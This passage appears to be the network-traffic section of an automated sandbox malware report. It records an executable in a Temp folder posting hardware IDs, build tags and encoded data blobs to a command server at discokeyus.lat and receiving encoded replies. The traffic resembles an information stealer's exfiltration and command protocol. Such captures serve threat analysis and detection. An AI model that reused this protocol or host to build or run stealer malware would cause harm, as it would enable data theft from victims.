4e 55 56 47 6d 62 42 68 5a 65 57 79 45 4d 33 73 36 74 6a Data Ascii: 4mS93TD5M8sZoYu9V3XgdwfgcDvIrTxxpYtMzYjq2V3bQOiwFaAbh0zpbogPGf3u/6gkK+zxeGisFi3lqaul5OZlzdxI+U6KaOmD9A4ZvcaSKWVOlaVdFf2KLMzUooC4kmWV3U30Z49J5cu8E4AEE5dIME+QFdgx8L5tkfDb7bTjXOiFUMEv+lCJdrAueAG2/x0pctQ5LBWgli2IgXfRjMM4sd1o+DbGMKiqsR89/e6+NUVGmbBhZeWyEM3s6tj
2024-12-20 10:12:42 UTC	1369	IN	Data Raw: 64 31 6f 2b 42 4c 47 4d 51 79 53 6b 41 2b 46 78 59 2b 65 66 55 6b 54 41 4f 45 59 46 59 54 53 4d 50 6b 70 30 36 57 38 67 79 53 6f 34 56 44 42 4c 39 35 51 69 4e 71 49 44 32 69 35 6a 70 34 39 59 58 36 42 6f 48 31 73 30 50 64 4e 71 4c 57 79 75 4e 6d 53 58 66 53 56 55 4a 6b 75 32 31 32 68 32 36 6b 44 49 50 47 54 42 34 53 30 4b 38 6a 70 65 47 33 45 74 30 6c 31 62 57 39 42 51 49 39 6f 7a 4f 52 4e 6f 47 72 47 61 4f 6d 75 73 47 2b 64 2f 61 37 2f 67 52 45 54 74 65 78 42 4c 55 79 47 54 66 57 70 73 2f 79 4d 52 31 7a 6f 32 41 6d 34 63 2f 70 74 55 55 73 30 44 6b 48 38 6c 76 34 64 59 53 72 55 2f 57 55 73 2b 63 73 38 6f 4f 43 6d 35 50 6d 54 47 63 79 35 55 61 45 75 70 68 6a 51 6b 2f 67 4f 47 66 32 54 38 7a 52 67 43 39 69 31 4c 54 46 67 63 75 6e 31 71 65 2f 68 2b 4f 39 55 Data Ascii: d1o+BLGMQySkA+FxY+efUkTAOEYFYTSMPkp06W8gySo4VDBL95QiNqID2i5jp49YX6BoH1s0PdNqLWyuNmSXfSVUJku212h26kDIPGTB4S0K8jpeG3Et0l1bW9BQI9ozORNoGrGaOmusG+d/a7/gRETtexBLUyGTfWps/yMR1zo2Am4c/ptUUs0DkH8lv4dYSrU/WUs+cs8oOCm5PmTGcy5UaEuphjQk/gOGf2T8zRgC9i1LTFgcun1qe/h+O9U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49859	172.67.197.170	443	7932	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:12:44 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=A91XQCGDU5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18115 Host: discokeyus.lat
2024-12-20 10:12:44 UTC	15331	OUT	Data Raw: 2d 2d 41 39 31 58 51 43 47 44 55 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 45 46 34 33 36 34 41 41 33 35 37 35 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 41 39 31 58 51 43 47 44 55 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 39 31 58 51 43 47 44 55 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 41 39 31 58 51 43 47 44 55 35 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --A91XQCGDU5Content-Disposition: form-data; name="hwid"23EF4364AA35754AAC8923850305D13E--A91XQCGDU5Content-Disposition: form-data; name="pid"2--A91XQCGDU5Content-Disposition: form-data; name="lid"PsFKDg--pablo--A91XQCGDU5Content-
2024-12-20 10:12:44 UTC	2784	OUT	Data Raw: c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f Data Ascii: .\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_
2024-12-20 10:12:45 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o1u8vjufnard4fp8dg2a3286v8; expires=Tue, 15 Apr 2025 03:59:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6Lre1bqw10dRQDw2EA636y0%2BbQSxB47agSbSDNZ3zae9fxLH6W2SwNw03%2BudEt4Axk%2Fh4ek2O%2B3xEP4lXUt2AqIWlKtfVVg3E45dMuS%2BDLsVCm%2Bt4fWIrhLjVM2nTAjo5A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4edb1488964402-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1691&min_rtt=1684&rtt_var=646&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2832&recv_bytes=19067&delivery_rate=1676234&cwnd=182&unsent_bytes=0&cid=1c7295ac5ccadc50&ts=981&x=0"
2024-12-20 10:12:45 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 10:12:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49867	172.67.197.170	443	7932	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:12:47 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VVMPB5E0QYCL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8748 Host: discokeyus.lat
2024-12-20 10:12:47 UTC	8748	OUT	Data Raw: 2d 2d 56 56 4d 50 42 35 45 30 51 59 43 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 45 46 34 33 36 34 41 41 33 35 37 35 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 56 56 4d 50 42 35 45 30 51 59 43 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 56 4d 50 42 35 45 30 51 59 43 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 56 56 4d 50 42 35 45 30 51 59 43 4c 0d 0a Data Ascii: --VVMPB5E0QYCLContent-Disposition: form-data; name="hwid"23EF4364AA35754AAC8923850305D13E--VVMPB5E0QYCLContent-Disposition: form-data; name="pid"2--VVMPB5E0QYCLContent-Disposition: form-data; name="lid"PsFKDg--pablo--VVMPB5E0QYCL
2024-12-20 10:12:48 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mck77tsgatamnkaegmmfc10119; expires=Tue, 15 Apr 2025 03:59:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TCuaZ34UJ9mqsCzYQbgs9ZwtSDCQI8j6FV1N3M5lZTgdW9tnhEzP%2BWJ8C%2BeOiW4DhxoWQ6SZN2E7dIHuBjomCI8f%2FA7RwE1rbAuYEMNrKOjl2RxDxuZSGX3j7bcSwQeNEA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4edb24495bc35b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1482&min_rtt=1480&rtt_var=560&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2831&recv_bytes=9679&delivery_rate=1942781&cwnd=188&unsent_bytes=0&cid=0355a659c698fba1&ts=783&x=0"
2024-12-20 10:12:48 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 10:12:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49873	172.67.197.170	443	5828	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:12:48 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: discokeyus.lat
2024-12-20 10:12:48 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 10:12:49 UTC	1134	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i2ndr814dt2jopfa9megunfmbn; expires=Tue, 15 Apr 2025 03:59:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i60o3xFBxIv5hAKvf9nB4JtmtC%2Frkteers0Sbsa9a%2F5WZBlB22tlha2xdB4KeLmbpiuDp%2Bw%2B%2B59mtiOHrgbH%2BfSdUpK01rv7Mfa8Vt695FoDn1M2zP2oEjliOcLqrTr%2BgA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4edb2d08abc340-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1496&min_rtt=1490&rtt_var=570&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=905&delivery_rate=1898569&cwnd=146&unsent_bytes=0&cid=afb4248f72a53516&ts=1003&x=0"
2024-12-20 10:12:49 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 10:12:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49878	172.67.197.170	443	7932	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:12:49 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K8WMLR3X708C4C User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20413 Host: discokeyus.lat
2024-12-20 10:12:49 UTC	15331	OUT	Data Raw: 2d 2d 4b 38 57 4d 4c 52 33 58 37 30 38 43 34 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 45 46 34 33 36 34 41 41 33 35 37 35 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 38 57 4d 4c 52 33 58 37 30 38 43 34 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4b 38 57 4d 4c 52 33 58 37 30 38 43 34 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4b 38 57 4d 4c 52 33 58 Data Ascii: --K8WMLR3X708C4CContent-Disposition: form-data; name="hwid"23EF4364AA35754AAC8923850305D13E--K8WMLR3X708C4CContent-Disposition: form-data; name="pid"3--K8WMLR3X708C4CContent-Disposition: form-data; name="lid"PsFKDg--pablo--K8WMLR3X
2024-12-20 10:12:49 UTC	5082	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-12-20 10:12:50 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=55lut87f87tstehblopqasve90; expires=Tue, 15 Apr 2025 03:59:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jXs7P0HRnoRV%2BO0csi8P0bs3v21RzbVNDF18cR2jt7QnwXYGdt%2FLhFYpvPJdMJ9BQWiVtT70M5i8TR0DIKxtnKP4tdlcLmbj0gZJfWIIjt21UC24m%2ByPG3Nmx2vqrGTiNg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4edb348ebdde98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1705&min_rtt=1697&rtt_var=653&sent=15&recv=26&lost=0&retrans=0&sent_bytes=2831&recv_bytes=21369&delivery_rate=1653454&cwnd=212&unsent_bytes=0&cid=dd4e01da3ab2605f&ts=973&x=0"
2024-12-20 10:12:50 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 10:12:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49886	172.67.197.170	443	5828	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:12:50 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: discokeyus.lat
2024-12-20 10:12:50 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-20 10:12:51 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0k9i9prqcme3qui6ppsad0l9bd; expires=Tue, 15 Apr 2025 03:59:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ISS4eqtF8%2BPGpNjVLCiLTes1GcDaWhLGZyPQB8ltQ%2BoTU7tFQVoxdZ3WhOHy0RFPhA3uEE1kwRujd5X%2BTo3SH0fz7UezB3ABHvqaTFa7PQlPA3gwzlbwZ6jbFZh9TCnlAw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4edb3abd2b5e73-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1729&min_rtt=1724&rtt_var=657&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=945&delivery_rate=1650650&cwnd=201&unsent_bytes=0&cid=8ac93969b566fe55&ts=768&x=0"
2024-12-20 10:12:51 UTC	244	IN	Data Raw: 34 36 63 0d 0a 67 4c 66 55 79 45 70 6d 76 31 6b 59 62 6d 30 4d 43 37 58 58 2f 34 36 6c 2f 43 66 68 31 46 5a 6b 67 54 43 6f 39 7a 33 4d 62 72 2f 37 6c 61 4c 71 63 46 4b 54 65 32 73 4c 54 7a 5a 2f 78 36 4b 61 6f 6f 65 64 51 38 50 75 4d 41 58 74 51 38 33 62 48 37 6f 44 6e 62 72 52 74 61 51 35 41 35 4e 37 66 52 5a 50 4e 6c 44 4f 39 5a 72 67 68 38 59 46 68 4c 34 30 42 65 31 53 79 5a 78 53 76 41 4c 63 36 4e 75 7a 6f 43 38 46 32 7a 68 30 41 77 68 70 62 74 53 39 6b 65 66 49 6c 45 72 44 2b 48 51 42 2b 78 4b 53 31 58 43 70 47 74 37 4e 31 71 65 6a 61 42 75 54 49 6a 6f 4c 41 79 34 78 6c 37 61 61 37 4d 6d 61 51 34 71 38 50 67 7a 6c 55 38 79 64 54 61 55 49 31 2b 6a 56 73 4b 45 6c 44 4d 38 31 66 67 51 44 62 32 54 55 39 64 4f 73 77 49 59 Data Ascii: 46cgLfUyEpmv1kYbm0MC7XX/46l/Cfh1FZkgTCo9z3Mbr/7laLqcFKTe2sLTzZ/x6KaooedQ8PuMAXtQ83bH7oDnbrRtaQ5A5N7fRZPNlDO9Zrgh8YFhL40Be1SyZxSvALc6NuzoC8F2zh0AwhpbtS9kefIlErD+HQB+xKS1XCpGt7N1qejaBuTIjoLAy4xl7aa7MmaQ4q8PgzlU8ydTaUI1+jVsKElDM81fgQDb2TU9dOswIY
2024-12-20 10:12:51 UTC	895	IN	Data Raw: 46 32 2f 5a 6e 4e 4f 42 44 32 34 42 53 76 67 71 64 2f 5a 75 76 36 69 38 49 6e 57 4d 36 42 41 4e 67 62 4e 53 36 6d 75 33 48 6a 45 71 44 74 54 77 4f 35 31 6a 46 6d 6c 43 67 42 74 72 71 33 4c 47 6c 4c 77 7a 62 4e 48 6c 4d 51 53 35 75 7a 2f 58 46 72 4f 65 4f 52 6f 43 69 4f 52 65 6a 54 59 53 4d 48 36 6b 41 6e 62 71 56 73 4b 51 70 43 64 30 70 63 67 63 45 61 33 76 63 76 4a 44 68 78 35 4e 50 6a 4c 55 30 41 65 6c 59 78 5a 39 62 6f 77 48 62 34 74 58 32 35 47 67 44 78 58 73 69 54 43 78 72 65 64 43 35 69 36 37 39 33 6c 72 4e 72 33 51 42 37 78 4b 53 31 56 65 72 44 39 37 70 32 72 57 69 49 78 62 64 4b 58 77 42 43 6e 78 76 30 72 75 58 37 39 57 55 53 34 57 31 50 51 33 71 56 38 32 52 48 2b 42 4d 32 76 71 56 37 75 6f 4a 43 64 59 33 63 42 73 50 4c 6e 61 5a 72 4e 33 72 79 39 Data Ascii: F2/ZnNOBD24BSvgqd/Zuv6i8InWM6BANgbNS6mu3HjEqDtTwO51jFmlCgBtrq3LGlLwzbNHlMQS5uz/XFrOeORoCiORejTYSMH6kAnbqVsKQpCd0pcgcEa3vcvJDhx5NPjLU0AelYxZ9bowHb4tX25GgDxXsiTCxredC5i6793lrNr3QB7xKS1VerD97p2rWiIxbdKXwBCnxv0ruX79WUS4W1PQ3qV82RH+BM2vqV7uoJCdY3cBsPLnaZrN3ry9
2024-12-20 10:12:51 UTC	1369	IN	Data Raw: 34 34 62 30 0d 0a 79 5a 6c 54 77 36 6c 36 48 36 4e 56 78 74 55 48 37 67 50 53 37 64 32 32 71 79 77 4a 32 54 70 33 41 41 5a 74 5a 64 75 39 6b 4f 44 44 6b 55 32 4c 74 54 77 55 37 56 7a 4d 6b 31 2b 72 54 4a 4f 69 30 71 37 71 63 45 54 35 4e 57 30 59 42 43 78 63 31 4c 75 54 36 39 48 65 57 73 32 76 64 41 48 76 45 70 4c 56 55 61 4d 48 30 65 58 63 74 36 6b 6f 44 74 4d 30 63 41 51 48 62 6d 54 57 76 70 58 71 79 70 56 4b 6a 4c 45 38 42 65 39 58 78 35 59 66 34 45 7a 61 2b 70 58 75 36 67 30 4b 33 69 70 72 54 6a 70 74 5a 39 6d 79 69 36 7a 59 30 46 7a 44 73 54 68 47 75 78 4c 41 6b 6c 69 71 41 64 66 68 30 62 4b 6e 4a 77 33 55 4d 6d 67 47 41 32 42 37 32 72 2b 59 34 73 75 62 53 6f 4f 33 4e 51 6a 70 57 59 72 62 48 36 6b 55 6e 62 71 56 6d 61 63 34 46 74 63 77 61 30 34 36 62 Data Ascii: 44b0yZlTw6l6H6NVxtUH7gPS7d22qywJ2Tp3AAZtZdu9kODDkU2LtTwU7VzMk1+rTJOi0q7qcET5NW0YBCxc1LuT69HeWs2vdAHvEpLVUaMH0eXct6koDtM0cAQHbmTWvpXqypVKjLE8Be9Xx5Yf4Eza+pXu6g0K3iprTjptZ9myi6zY0FzDsThGuxLAkliqAdfh0bKnJw3UMmgGA2B72r+Y4subSoO3NQjpWYrbH6kUnbqVmac4Ftcwa046b
2024-12-20 10:12:51 UTC	1369	IN	Data Raw: 46 72 4f 69 64 55 34 6e 32 4b 30 6a 36 45 73 32 5a 48 2f 5a 4d 31 2b 37 52 74 61 59 68 43 4e 41 36 66 67 73 43 61 6d 6e 52 73 35 6a 74 7a 4a 5a 4a 6a 4c 77 34 41 75 39 62 7a 4a 6c 63 72 51 71 64 72 4a 57 78 73 6d 68 63 6e 52 70 33 42 77 4e 75 61 73 61 79 33 61 4b 48 6b 45 4f 44 39 6d 77 51 38 30 58 4e 69 68 47 33 54 4e 72 75 6c 65 37 71 49 68 62 59 4e 58 34 47 43 6d 70 6c 33 62 57 59 2f 73 2b 59 51 6f 2b 2b 4d 51 6e 6c 56 38 65 53 56 4b 30 65 7a 2b 48 52 75 4b 5a 6f 53 70 30 38 59 6b 78 58 4c 6b 7a 41 74 6f 33 71 78 4e 35 61 7a 61 39 30 41 65 38 53 6b 74 56 66 6f 41 44 57 35 64 36 39 72 69 77 45 30 44 42 30 41 67 5a 69 59 64 75 79 6a 2b 48 43 6c 6b 2b 4b 73 7a 67 4c 34 45 44 4a 6c 42 2f 67 54 4e 72 36 6c 65 37 71 44 7a 66 71 47 44 6f 54 51 58 63 70 30 4c Data Ascii: FrOidU4n2K0j6Es2ZH/ZM1+7RtaYhCNA6fgsCamnRs5jtzJZJjLw4Au9bzJlcrQqdrJWxsmhcnRp3BwNuasay3aKHkEOD9mwQ80XNihG3TNrule7qIhbYNX4GCmpl3bWY/s+YQo++MQnlV8eSVK0ez+HRuKZoSp08YkxXLkzAto3qxN5aza90Ae8SktVfoADW5d69riwE0DB0AgZiYduyj+HClk+KszgL4EDJlB/gTNr6le7qDzfqGDoTQXcp0L
2024-12-20 10:12:51 UTC	1369	IN	Data Raw: 73 6b 61 4d 76 58 51 5a 72 55 75 4b 6b 6c 50 75 56 4a 33 6c 33 62 36 6b 4b 77 4c 57 4e 33 59 4e 42 6d 68 73 33 37 4b 53 36 38 36 5a 52 59 57 6b 4d 77 76 71 55 73 47 63 56 61 6f 4e 31 71 4b 62 39 71 30 77 52 49 56 37 53 41 73 5a 66 6d 71 58 71 74 50 31 68 35 6c 4a 77 2b 35 30 43 2f 46 54 7a 34 64 62 6f 51 66 50 36 64 4f 32 72 7a 6f 44 30 54 46 31 44 77 64 6a 61 74 2b 6e 6e 65 48 48 6a 46 65 46 76 54 70 47 72 52 4c 4e 6a 52 2f 32 54 4f 7a 31 33 76 61 31 5a 68 32 64 50 48 5a 4d 56 79 35 71 33 62 69 54 2f 73 4f 59 54 6f 43 34 50 41 50 72 56 73 43 59 55 4b 55 47 31 4f 72 56 75 61 38 67 44 39 73 31 65 77 6f 44 59 79 6d 5a 39 5a 72 30 68 38 59 46 70 4b 77 35 41 50 52 44 2f 35 4a 66 2f 30 7a 43 72 4d 7a 32 72 53 52 45 68 58 74 33 41 41 56 6a 62 4e 4f 39 6d 75 2f Data Ascii: skaMvXQZrUuKklPuVJ3l3b6kKwLWN3YNBmhs37KS686ZRYWkMwvqUsGcVaoN1qKb9q0wRIV7SAsZfmqXqtP1h5lJw+50C/FTz4dboQfP6dO2rzoD0TF1Dwdjat+nneHHjFeFvTpGrRLNjR/2TOz13va1Zh2dPHZMVy5q3biT/sOYToC4PAPrVsCYUKUG1OrVua8gD9s1ewoDYymZ9Zr0h8YFpKw5APRD/5Jf/0zCrMz2rSREhXt3AAVjbNO9mu/
